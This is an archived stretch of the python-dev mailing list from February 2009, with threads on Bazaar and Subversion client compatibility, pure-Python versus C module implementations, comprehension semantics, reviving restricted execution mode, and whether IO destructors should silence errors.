That was not the original question. I was just meaning to say that not
being able to install from PPA is not hypothetical, in some of my work
environments, not that it would be significant for the python future
:)

David

From martin at v.loewis.de  Sun Feb 22 04:56:24 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 22 Feb 2009 04:56:24 +0100
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <49A0A6B3.5060805@palladion.com>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>	<878wo05lkc.fsf@xemacs.org>	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>	<874oyo5fel.fsf@xemacs.org>
	<499FCFF0.6060405@v.loewis.de>	<49A03D9C.8050604@palladion.com>
	<49A041F3.60909@v.loewis.de>	<79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com>	<78F10A13-54F3-42B8-914C-0EF80C60C904@python.org>
	<79990c6b0902211506j7644f8a3ve0839ff630f4fe91@mail.gmail.com>
	<49A0A6B3.5060805@palladion.com>
Message-ID: <49A0CCE8.9010609@v.loewis.de>

> This has been true for a number of cases over the years:  whether the
> "repostiory format", or the wire protocol,  sometimes changes which
> materially *improve* the user's experience may require upgrading the
> client on the user's machine.  In the case of SVN, upgrading to 1.5 gets
> vastly better merging support;  in the case ob bzr, the win is
> performance when working against a large tree.

The question is whether upgrades on the server force upgrades on the
clients. For subversion, this is not the case: Older clients continue
to work correctly with 1.5 servers - they just can't use the merge
functionality. IIUC, for bzr, this is different: if the repository
format is upgraded, older clients will fail to do anything, not even
a regular checkout.

>  AFAICS, no real user (one already using bzr to work with the Python
> tree) has objected.

Apparently not (assuming David Cournapeau does not actually use bzr)

Regards,
Martin

From aahz at pythoncraft.com  Sun Feb 22 05:12:32 2009
From: aahz at pythoncraft.com (Aahz)
Date: Sat, 21 Feb 2009 20:12:32 -0800
Subject: [Python-Dev] Choosing a best practice solution
	for	Python/extension modules
In-Reply-To: <bbaeab100902211656i5229ae3brfd0a7b12ae9869ae@mail.gmail.com>
References: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
	<20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com>
	<bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>
	<20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com>
	<bbaeab100902211317h65dee5bfic27872cf47ff699a@mail.gmail.com>
	<20090221234646.GA19226@panix.com>
	<bbaeab100902211656i5229ae3brfd0a7b12ae9869ae@mail.gmail.com>
Message-ID: <20090222041232.GA25580@panix.com>

On Sat, Feb 21, 2009, Brett Cannon wrote:
> On Sat, Feb 21, 2009 at 15:46, Aahz <aahz at pythoncraft.com> wrote:
>> On Sat, Feb 21, 2009, Brett Cannon wrote:
>>>
>>> I am seeing two approaches emerging. One is where pickle contains all
>>> Python code and then uses something like use_extension to make sure
>>> the original Python objects are still reachable at some point. This
>>> has the drawback that you have to use some function to make the
>>> extensions happen and there is some extra object storage.
>>>
>>> The other approach is having pickle contain code known not to
>>> be overridden by anyone, import _pypickle for stuff that may be
>>> overridden, and then import _pickle for whatever is available. This
>>> approach has the perk of using a standard practice for how to pull in
>>> different implementation. But the drawback, thanks to how globals are
>>> bound, is that any code pulled in from _pickle/_pypickle will not be
>>> able to call into other optimized code; it's a take or leave it once
>>> the call chain enters one of those modules as they will always call
>>> the implementations in the module they originate from.
>>
>> To what extent do we care about being able to select Python-only on a
>> per-module basis, particularly in the face of threaded imports?  That is,
>> we could have a sys.python_only attribute that gets checked on import.
>> That's simple and direct, and even allows per-module switching if the
>> application really cares and import doesn't need to worry about threads.
>>
>> Alternatively, sys.python_only could be a set, but that gets ugly about
>> setting from the application.  (The module checks to see whether it's
>> listed in sys.python_only.)
>>
>> Maybe we should move this discussion to python-ideas for now to kick
>> around really oddball suggestions?
> 
> This is all about testing. If a change is made to some extension code it
> should be mirrored in the Python code and vice-versa.

Okay, I don't see how that is a response to my suggestion -- I can
imagine that someone might want to test a combination of pure-Python and
binary libraries.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

Weinberg's Second Law: If builders built buildings the way programmers wrote 
programs, then the first woodpecker that came along would destroy civilization.

From cmjohnson.mailinglist at gmail.com  Sun Feb 22 09:17:02 2009
From: cmjohnson.mailinglist at gmail.com (Carl Johnson)
Date: Sat, 21 Feb 2009 22:17:02 -1000
Subject: [Python-Dev] Seeming unintended difference between list
	comprehensions and generator expressions...
In-Reply-To: <499F4C48.2060509@gmail.com>
References: <e6511dbf0902201440m5f5607d8i41e4157ffb66f6cc@mail.gmail.com>
	<499F395E.5010202@gmail.com>
	<e6511dbf0902201618j61dfa44egeb642a38486c2f9b@mail.gmail.com>
	<499F4C48.2060509@gmail.com>
Message-ID: <3bdda690902220017q29d99101s7ecfe6d05a0582d@mail.gmail.com>

Nick Coghlan wrote:
>
> Josiah Carlson wrote:
> >> Similarly, a 3.x list comprehension [i*i for i in x] is very roughly
> >> translated as:
> >>
> >>  def _lc(arg):
> >>    result = []
> >>    for i in arg:
> >>      result.append(i*i)
> >>    return result
> >>
> >>  <expr_value> = _lc(x)
> >
> > I was under the impression that in 3.x, it was equivalent to
> > list(<genexp>) .  Which would explain the difference between 2.6 and
> > 3.0.
>
> Semantically, the two translations end up being the same.

Actually, they're not quite the same. list(<genexp>) will swallow any
StopIteration exceptions that end up getting thrown inside the
generator, but even in Python 3, list comprehensions will not catch
StopIteration. So for explanatory purposes, thinking of a list
comprehension as a function that returns a list is more useful than
thinking of it as list(<genexp>).

-- Carl

From fuzzyman at voidspace.org.uk  Sun Feb 22 12:46:09 2009
From: fuzzyman at voidspace.org.uk (Michael Foord)
Date: Sun, 22 Feb 2009 11:46:09 +0000
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <gnqbc5$5jl$1@ger.gmane.org>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>	<878wo05lkc.fsf@xemacs.org>	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>	<874oyo5fel.fsf@xemacs.org>	<499FCFF0.6060405@v.loewis.de>	<49A03D9C.8050604@palladion.com>	<49A041F3.60909@v.loewis.de>	<79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com>	<d11dcfba0902211336j13d4648en35288094b2eaf115@mail.gmail.com>
	<gnqbc5$5jl$1@ger.gmane.org>
Message-ID: <49A13B01.8050208@voidspace.org.uk>

Steve Holden wrote:
> Steven Bethard wrote:
>   
>> On Sat, Feb 21, 2009 at 1:11 PM, Paul Moore <p.f.moore at gmail.com> wrote:
>>     
>>> PS Just for my own information, am I correct in thinking that it is
>>> *only* Bazaar in the (D)VCS world that has this problem, to any real
>>> extent? I know old Mercurial clients can interact with newer servers
>>> (ie, the wire protocol hasn't changed), I'm fairly sure that older
>>> Subversion clients can talk to newer servers (at least, I've never
>>> cared what client version I'm running).
>>>       
>> I've definitely had an SVN server tell me that I needed to upgrade my
>> client to 1.5.
>>     
>
> Interestingly, I've had 1.4 servers tell me I shouldn't have upgraded my
> client to 1.5, which is a little tedious = particularly as the
> information comes in the form of a hard-to-decipher error message and a
> refusal to work. So much for backward compatibility.
>   

Hmm... I've been using 1.5 clients with 1.4 and earlier servers for 
quite a while now. My guess is that you deciphered the error message wrong!

A working copy created by a 1.5 client can only be manipulated by a 1.5 
client (I sometimes have several clients on windows boxen) but work fine 
with earlier servers in my experience.

Michael

> Fortunately I still had the SVN 1.4 client on the Ubuntu machine that
> was hosting the Samba shares, so I could use ssh and the command line to
> maintain things.
>
> regards
>  Steve
>   


-- 
http://www.ironpythoninaction.com/
http://www.voidspace.org.uk/blog



From steve at holdenweb.com  Sun Feb 22 14:37:27 2009
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 22 Feb 2009 08:37:27 -0500
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <49A13B01.8050208@voidspace.org.uk>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>	<878wo05lkc.fsf@xemacs.org>	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>	<874oyo5fel.fsf@xemacs.org>	<499FCFF0.6060405@v.loewis.de>	<49A03D9C.8050604@palladion.com>	<49A041F3.60909@v.loewis.de>	<79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com>	<d11dcfba0902211336j13d4648en35288094b2eaf115@mail.gmail.com>
	<gnqbc5$5jl$1@ger.gmane.org> <49A13B01.8050208@voidspace.org.uk>
Message-ID: <49A15517.9050609@holdenweb.com>

Michael Foord wrote:
> Steve Holden wrote:
>> Steven Bethard wrote:
>>  
>>> On Sat, Feb 21, 2009 at 1:11 PM, Paul Moore <p.f.moore at gmail.com> wrote:
>>>    
>>>> PS Just for my own information, am I correct in thinking that it is
>>>> *only* Bazaar in the (D)VCS world that has this problem, to any real
>>>> extent? I know old Mercurial clients can interact with newer servers
>>>> (ie, the wire protocol hasn't changed), I'm fairly sure that older
>>>> Subversion clients can talk to newer servers (at least, I've never
>>>> cared what client version I'm running).
>>>>       
>>> I've definitely had an SVN server tell me that I needed to upgrade my
>>> client to 1.5.
>>>     
>>
>> Interestingly, I've had 1.4 servers tell me I shouldn't have upgraded my
>> client to 1.5, which is a little tedious = particularly as the
>> information comes in the form of a hard-to-decipher error message and a
>> refusal to work. So much for backward compatibility.
>>   
> 
> Hmm... I've been using 1.5 clients with 1.4 and earlier servers for
> quite a while now. My guess is that you deciphered the error message wrong!
> 
> A working copy created by a 1.5 client can only be manipulated by a 1.5
> client (I sometimes have several clients on windows boxen) but work fine
> with earlier servers in my experience.
> 
You are correct. In fact I got over the issue by using the 1.4 client
from Cygwin.

regards
 Steve
-- 
Steve Holden        +1 571 484 6266   +1 800 494 3119
Holden Web LLC              http://www.holdenweb.com/


From guido at python.org  Sun Feb 22 17:45:27 2009
From: guido at python.org (Guido van Rossum)
Date: Sun, 22 Feb 2009 08:45:27 -0800
Subject: [Python-Dev] Reviving restricted mode?
Message-ID: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>

I've received some enthusiastic emails from someone who wants to
revive restricted mode. He started out with a bunch of patches to the
CPython runtime using ctypes, which he attached to an App Engine bug:

http://code.google.com/p/googleappengine/issues/detail?id=671

Based on his code (the file secure.py is all you need, included in
secure.tar.gz) it seems he believes the only security leaks are
__subclasses__, gi_frame and gi_code. (I have since convinced him that
if we add "restricted" guards to these attributes, he doesn't need the
functions added to sys.)

I don't recall the exploits that Samuele once posted that caused the
death of rexec.py -- does anyone recall, or have a pointer to the
threads?

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From benjamin at python.org  Sun Feb 22 18:54:54 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Sun, 22 Feb 2009 11:54:54 -0600
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
Message-ID: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com>

On Sun, Feb 22, 2009 at 10:45 AM, Guido van Rossum <guido at python.org> wrote:
> I've received some enthusiastic emails from someone who wants to
> revive restricted mode. He started out with a bunch of patches to the
> CPython runtime using ctypes, which he attached to an App Engine bug:
>
> http://code.google.com/p/googleappengine/issues/detail?id=671
>
> Based on his code (the file secure.py is all you need, included in
> secure.tar.gz) it seems he believes the only security leaks are
> __subclasses__, gi_frame and gi_code. (I have since convinced him that
> if we add "restricted" guards to these attributes, he doesn't need the
> functions added to sys.)

We have to remember that it's quite trivial to segfault the
interpreter with pure Python. (See Lib/test/crashers)

Even if this patch manages to plug all the holes in the current
Python, do we really want to commit our selves to maintaining it
through language evolution which will surely introduce new subtle ways
to circumvent the guard?

IMO, the only fairly close to fool proof method of running restricted
python is through something like the PyPy sandbox where all os level
calls have to be checked by the master process.

>
> I don't recall the exploits that Samuele once posted that caused the
> death of rexec.py -- does anyone recall, or have a pointer to the
> threads?

It was broken by the introduction of new-style classes:

http://mail.python.org/pipermail/python-dev/2002-December/031160.html



-- 
Regards,
Benjamin

From lists at jwp.name  Sun Feb 22 18:38:43 2009
From: lists at jwp.name (James Pye)
Date: Sun, 22 Feb 2009 10:38:43 -0700
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <bbaeab100902211317h65dee5bfic27872cf47ff699a@mail.gmail.com>
References: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
	<20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com>
	<bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>
	<20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com>
	<bbaeab100902211317h65dee5bfic27872cf47ff699a@mail.gmail.com>
Message-ID: <047CBEEF-F400-4D10-BBC2-CD244EFD5757@jwp.name>

On Feb 21, 2009, at 2:17 PM, Brett Cannon wrote:
> The other approach is having pickle contain code known not to be  
> overridden by anyone, import _pypickle for stuff that may be  
> overridden, and then import _pickle for whatever is available. This  
> approach has the perk of using a standard practice for how to pull  
> in different implementation. But the drawback, thanks to how globals  
> are bound, is that any code pulled in from _pickle/_pypickle will  
> not be able to call into other optimized code; it's a take or leave  
> it once the call chain enters one of those modules as they will  
> always call the implementations in the module they originate from.


fwiw,

I believe this is the approach that I've been using when I'm faced  
with the need to optimize code, but still want to retain a pure-Python  
version. Thankfully, I haven't had a need for "implementation  
intersections"(well, it almost works. I think. ;) for access to common  
module globals as the optimizations tend to be simple transformations  
or isolated classes. However, if I were faced with the problem of  
needing some common global data/functionality, I'd probably put it in  
yet-another-module and just import it explicitly in each  
implementation. Sure, it seems like it might be annoying, but so is  
maintaining multiple implementations. ;)

Specifically:

pbuffer.py - The python implementation
buffer.c -> cbuffer.so - The c implementation
buffer.py - The "abstraction module", trying to import the contents of  
the fast one first.

And in my unittest:

if c_buffer_module is not None:
   class c_buffer(buffer_test, unittest.TestCase):
     bufferclass = c_buffer_module.pq_message_stream

class p_buffer(buffer_test, unittest.TestCase):
   bufferclass = p_buffer_module.pq_message_stream

Of course, "buffer_test" is not invoked because it's not a TestCase.


However, Aahz is probably right about this thread belonging elsewhere.?
Hrm, day old, maybe it's been moved already.. sigh. :)

From pedronis at openend.se  Sun Feb 22 19:13:56 2009
From: pedronis at openend.se (Samuele Pedroni)
Date: Sun, 22 Feb 2009 19:13:56 +0100
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
Message-ID: <49A195E4.2020806@openend.se>

Guido van Rossum wrote:
> I've received some enthusiastic emails from someone who wants to
> revive restricted mode. He started out with a bunch of patches to the
> CPython runtime using ctypes, which he attached to an App Engine bug:
>
> http://code.google.com/p/googleappengine/issues/detail?id=671
>
> Based on his code (the file secure.py is all you need, included in
> secure.tar.gz) it seems he believes the only security leaks are
> __subclasses__, gi_frame and gi_code. (I have since convinced him that
> if we add "restricted" guards to these attributes, he doesn't need the
> functions added to sys.)
>
> I don't recall the exploits that Samuele once posted that caused the
> death of rexec.py -- does anyone recall, or have a pointer to the
> threads?
>
>   
I don't have much time these days, for sure not until pycon us, to look 
at the proposed code.

A remark though, in many cases people want to use restricted execution 
to allow trusted and untrusted code to live side by side. In such a 
scenario the issue is not only how to prevent for example the untrusted 
code to get hold of open() but also how to deal with the security issues 
at the boundary when untrusted code calls into trusted code. AFAIK E 
provides and incorporate a lot of thinking around the concept of guards, 
a sort of generalized runtime "type checking" with very strong 
guarantees, in a language like Java instead type checking and final 
classes can be used to provide the required safety. Python instead over 
the years has grown more hooks for object to cheat about their types. In 
general safely programming such trusted code in python will be delicate 
and slightly cumbersome. Think for example of thinhs that can be done by 
objects redefining equality wrt data structures that old sensitive 
information unless such arguments are blocked.



From steven.bethard at gmail.com  Sun Feb 22 19:16:18 2009
From: steven.bethard at gmail.com (Steven Bethard)
Date: Sun, 22 Feb 2009 10:16:18 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>
	<eae285400902201231y1b5cb0b3o7ac2a5216653178@mail.gmail.com>
	<bbaeab100902201237w257f2d82m5dc5d7c8c06ee909@mail.gmail.com>
	<bbaeab100902201245l2851e48as1f401751294a6bff@mail.gmail.com>
	<20090220205329.GA9829@panix.com>
	<bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
Message-ID: <d11dcfba0902221016p1a45718cgb901585c6ad30c3b@mail.gmail.com>

On Fri, Feb 20, 2009 at 1:45 PM, Brett Cannon <brett at python.org> wrote:
> But there is another issue with this: the pure Python code will never call
> the extension code because the globals will be bound to _pypickle and not
> _pickle. So if you have something like::
>
>   # _pypickle
>   def A(): return _B()
>   def _B(): return -13
>
>   # _pickle
>   def _B(): return 42
>
>   # pickle
>   from _pypickle import *
>   try: from _pickle import *
>   except ImportError: pass
>
> If you import pickle and call pickle.A() you will get -13 which is not what
> you are after.

Maybe I've missed this and someone else already suggested it, but
couldn't we provide a (probably C-coded) function
``replace_globals(module, globals)`` that would, say, replace the
globals in _pypickle with the globals in pickle? Then you could write
something like::

    from _pypickle import *
    try:
        from _pickle import *
        module = __import__('_pickle')
    except ImportError:
        module = __import__('_pypickle')
    replace_globals(module, globals())

Steve
-- 
I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a
tiny blip on the distant coast of sanity.
        --- Bucky Katt, Get Fuzzy

From fuzzyman at voidspace.org.uk  Sun Feb 22 19:29:11 2009
From: fuzzyman at voidspace.org.uk (Michael Foord)
Date: Sun, 22 Feb 2009 18:29:11 +0000
Subject: [Python-Dev] Choosing a best practice solution
 for	Python/extension modules
In-Reply-To: <d11dcfba0902221016p1a45718cgb901585c6ad30c3b@mail.gmail.com>
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>	<eae285400902201231y1b5cb0b3o7ac2a5216653178@mail.gmail.com>	<bbaeab100902201237w257f2d82m5dc5d7c8c06ee909@mail.gmail.com>	<bbaeab100902201245l2851e48as1f401751294a6bff@mail.gmail.com>	<20090220205329.GA9829@panix.com>	<bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
	<d11dcfba0902221016p1a45718cgb901585c6ad30c3b@mail.gmail.com>
Message-ID: <49A19977.7020305@voidspace.org.uk>

Steven Bethard wrote:
> On Fri, Feb 20, 2009 at 1:45 PM, Brett Cannon <brett at python.org> wrote:
>   
>> But there is another issue with this: the pure Python code will never call
>> the extension code because the globals will be bound to _pypickle and not
>> _pickle. So if you have something like::
>>
>>   # _pypickle
>>   def A(): return _B()
>>   def _B(): return -13
>>
>>   # _pickle
>>   def _B(): return 42
>>
>>   # pickle
>>   from _pypickle import *
>>   try: from _pickle import *
>>   except ImportError: pass
>>
>> If you import pickle and call pickle.A() you will get -13 which is not what
>> you are after.
>>     
>
> Maybe I've missed this and someone else already suggested it, but
> couldn't we provide a (probably C-coded) function
> ``replace_globals(module, globals)`` that would, say, replace the
> globals in _pypickle with the globals in pickle? Then you could write
> something like::
>
>     from _pypickle import *
>     try:
>         from _pickle import *
>         module = __import__('_pickle')
>     except ImportError:
>         module = __import__('_pypickle')
>     replace_globals(module, globals())
>
> Steve
>   

Swapping out module globals seems to be a backwards way to do things to 
me. Why not have one set of tests that test the low level APIs 
(identical tests whether they are written in C or Python) - and as they 
live in their own module are easy to test in isolation. And then a 
separate set of tests for the higher level APIs, which can even mock out 
the low level APIs they use. There shouldn't be any need for switching 
out objects in the scope of the lower level APIs - that seems like a 
design smell to me.

Michael

-- 
http://www.ironpythoninaction.com/


From solipsis at pitrou.net  Sun Feb 22 20:02:01 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sun, 22 Feb 2009 19:02:01 +0000 (UTC)
Subject: [Python-Dev] Silencing IO errors on del/dealloc?
Message-ID: <loom.20090222T185801-341@post.gmane.org>

Hello,

The Python version of IO lib has taken the stance that all errors happening in
the destructor of an IO object are silenced. Here is the relevant code in IOBase:

    def __del__(self) -> None:
        """Destructor.  Calls close()."""
        # The try/except block is in case this is called at program
        # exit time, when it's possible that globals have already been
        # deleted, and then the close() call might fail.  Since
        # there's nothing we can do about such failures and they annoy
        # the end users, we suppress the traceback.
        try:
            self.close()
        except:
            pass

However, this seems very unreliable and dangerous to me. Users will not be
warned if their IO objects are not closed properly (which might be due to
programming errors), and data possibly gets corrupted.

I would like to change this behaviour so that the "try/except" enclosure above
is removed, letting __del__ at least print those (unraisable) errors on the
console. Of course I also advocate doing so in the C version of the IO lib.

Regards

Antoine.



From guido at python.org  Sun Feb 22 20:02:33 2009
From: guido at python.org (Guido van Rossum)
Date: Sun, 22 Feb 2009 11:02:33 -0800
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
	<1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com>
Message-ID: <ca471dc20902221102w4c558ea9u39dd61c22b117775@mail.gmail.com>

On Sun, Feb 22, 2009 at 9:54 AM, Benjamin Peterson <benjamin at python.org> wrote:
> On Sun, Feb 22, 2009 at 10:45 AM, Guido van Rossum <guido at python.org> wrote:
>> I've received some enthusiastic emails from someone who wants to
>> revive restricted mode. He started out with a bunch of patches to the
>> CPython runtime using ctypes, which he attached to an App Engine bug:
>>
>> http://code.google.com/p/googleappengine/issues/detail?id=671
>>
>> Based on his code (the file secure.py is all you need, included in
>> secure.tar.gz) it seems he believes the only security leaks are
>> __subclasses__, gi_frame and gi_code. (I have since convinced him that
>> if we add "restricted" guards to these attributes, he doesn't need the
>> functions added to sys.)
>
> We have to remember that it's quite trivial to segfault the
> interpreter with pure Python. (See Lib/test/crashers)

I know it well, but for this particular use case that doesn't matter.
Tav is interested in using this on app engine, which doesn't care
about segfaults -- the process is simply restarted, nobody gains
access to information they shouldn't have. App engine does care about
overwriting memory, but none of the crashers get that far in the
configuration on app engine.

> Even if this patch manages to plug all the holes in the current
> Python, do we really want to commit our selves to maintaining it
> through language evolution which will surely introduce new subtle ways
> to circumvent the guard?

You'd have to talk to Tav about this (I've CC'ed him on this message).
He seems quite convinced that his current approach is secure, all he
wants is a way to do the equivalent in app engine (where ctypes is not
supported and never will be).

> IMO, the only fairly close to fool proof method of running restricted
> python is through something like the PyPy sandbox where all os level
> calls have to be checked by the master process.

Trust me, app engine has something similar -- Tav's desire is just to
provide an added barrier between his app and code that his app will
let users run within a context it provides. He's relying (forced to
rely :-) on app engine's sandbox for protection against illegal
syscalls.

>> I don't recall the exploits that Samuele once posted that caused the
>> death of rexec.py -- does anyone recall, or have a pointer to the
>> threads?
>
> It was broken by the introduction of new-style classes:
>
> http://mail.python.org/pipermail/python-dev/2002-December/031160.html

I think there were other threads where Samule showed some quite
devious ways to access the os module. I don't see any posts by Samuele
in that thread (and he just replied that he's too busy). The attack
demonstrated at the top of that thread isn't particularly interesting
-- it just shows that class-based security doesn't work so well, but
that doesn't mean some other approach based more on functions couldn't
work.

For Tav's benefit, I think it would be good to at least add
"IsRestricted" checks to __subclasses__(), go_code and gi_frame --
that's a trivial patch and if he believes it's enough he can create a
sandbox on app engine and invite people to try to break out of it...
If someone succeeds, the damage is limited by app engine's own
perimeter defenses (which haven't been broken through since it was
released 9 months ago).

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From guido at python.org  Sun Feb 22 20:08:15 2009
From: guido at python.org (Guido van Rossum)
Date: Sun, 22 Feb 2009 11:08:15 -0800
Subject: [Python-Dev] Silencing IO errors on del/dealloc?
In-Reply-To: <loom.20090222T185801-341@post.gmane.org>
References: <loom.20090222T185801-341@post.gmane.org>
Message-ID: <ca471dc20902221108u35aae4far8b4dddcdfdb8ddd1@mail.gmail.com>

On Sun, Feb 22, 2009 at 11:02 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> The Python version of IO lib has taken the stance that all errors happening in
> the destructor of an IO object are silenced. Here is the relevant code in IOBase:
>
>    def __del__(self) -> None:
>        """Destructor.  Calls close()."""
>        # The try/except block is in case this is called at program
>        # exit time, when it's possible that globals have already been
>        # deleted, and then the close() call might fail.  Since
>        # there's nothing we can do about such failures and they annoy
>        # the end users, we suppress the traceback.
>        try:
>            self.close()
>        except:
>            pass
>
> However, this seems very unreliable and dangerous to me. Users will not be
> warned if their IO objects are not closed properly (which might be due to
> programming errors), and data possibly gets corrupted.

OTOH the is a much larger category of false positives, where a close()
call raise an exception for some spurious reason (see the quoted
comment) but no harm is done; in the past the tracebacks printed for
__del__ by default have caused nothing but confuse users (who think
something is seriously wrong but have no way to debug it).

The svn history of those lines may have more pointers.

> I would like to change this behaviour so that the "try/except" enclosure above
> is removed, letting __del__ at least print those (unraisable) errors on the
> console. Of course I also advocate doing so in the C version of the IO lib.

I'd be very wary of this change. That code has enough comments to make
me believe that I put it in for a very good reason...

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From solipsis at pitrou.net  Sun Feb 22 20:32:32 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sun, 22 Feb 2009 19:32:32 +0000 (UTC)
Subject: [Python-Dev] Silencing IO errors on del/dealloc?
References: <loom.20090222T185801-341@post.gmane.org>
	<ca471dc20902221108u35aae4far8b4dddcdfdb8ddd1@mail.gmail.com>
Message-ID: <loom.20090222T191832-812@post.gmane.org>

Guido van Rossum <guido <at> python.org> writes:
> 
> OTOH the is a much larger category of false positives, where a close()
> call raise an exception for some spurious reason (see the quoted
> comment) but no harm is done; in the past the tracebacks printed for
> __del__ by default have caused nothing but confuse users (who think
> something is seriously wrong but have no way to debug it).
> 
> The svn history of those lines may have more pointers.

Well this code dates back to the first checkin in the py3k branch. Apparently
the old p3yk branch is not there anymore...

I understand the missing globals on shutdown problem, but the error may also be
a legitimate programming error, where a close() implementation fails for
whatever reason. At least displaying the error may encourage the programmer to
strengthen his implementation.

How about the following compromise:

    try:
        closed = self.closed
    except:
        # Object is in an unusable state, don't attempt anything
        pass
    else:
        if not closed:
            self.close()

Regards

Antoine.



From greg.ewing at canterbury.ac.nz  Sun Feb 22 21:07:27 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Mon, 23 Feb 2009 09:07:27 +1300
Subject: [Python-Dev] Silencing IO errors on del/dealloc?
In-Reply-To: <loom.20090222T185801-341@post.gmane.org>
References: <loom.20090222T185801-341@post.gmane.org>
Message-ID: <49A1B07F.7040503@canterbury.ac.nz>

Antoine Pitrou wrote:

> I would like to change this behaviour so that the "try/except" enclosure above
> is removed, letting __del__ at least print those (unraisable) errors on the
> console. Of course I also advocate doing so in the C version of the IO lib.

I would hope that the C version could at least ensure that
buffers are flushed properly without having to rely on any
global variables, so that this would not be so much of an
issue.

When we were using stdio, we could rely on the C runtime
to flush buffers unless something very drastic has gone
wrong. Bypassing stdio means we are taking that
responsibility on ourselves.

-- 
Greg

From greg.ewing at canterbury.ac.nz  Sun Feb 22 21:10:42 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Mon, 23 Feb 2009 09:10:42 +1300
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <ca471dc20902221102w4c558ea9u39dd61c22b117775@mail.gmail.com>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
	<1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com>
	<ca471dc20902221102w4c558ea9u39dd61c22b117775@mail.gmail.com>
Message-ID: <49A1B142.8030403@canterbury.ac.nz>

Guido van Rossum wrote:

> Tav is interested in using this on app engine, which doesn't care
> about segfaults -- the process is simply restarted, nobody gains
> access to information they shouldn't have. App engine does care about
> overwriting memory,

That doesn't make sense -- how can something not care
about segfaults, but care about memory overwriting?
If something is capable of causing a segfault, you
can't be sure it won't just corrupt memory in some
way that doesn't segfault but causes some other
problem.

-- 
Greg

From solipsis at pitrou.net  Sun Feb 22 21:24:44 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sun, 22 Feb 2009 20:24:44 +0000 (UTC)
Subject: [Python-Dev] Silencing IO errors on del/dealloc?
References: <loom.20090222T185801-341@post.gmane.org>
	<49A1B07F.7040503@canterbury.ac.nz>
Message-ID: <loom.20090222T202058-813@post.gmane.org>

Greg Ewing <greg.ewing <at> canterbury.ac.nz> writes:
> 
> I would hope that the C version could at least ensure that
> buffers are flushed properly without having to rely on any
> global variables, so that this would not be so much of an
> issue.

The C version cleans up after itself just fine :)
The issue is when someone defines a Python class derived from IOBase or one of
its descendants (RawIOBase, BufferedIOBase, TextIOBase), and overrides the
close() method.
(see e.g. SocketIO in socket.py, which incidentally defined its own __del__
while it could perhaps rely on RawIOBase to do the right thing)



From guido at python.org  Sun Feb 22 22:17:06 2009
From: guido at python.org (Guido van Rossum)
Date: Sun, 22 Feb 2009 13:17:06 -0800
Subject: [Python-Dev] Reviving restricted mode?
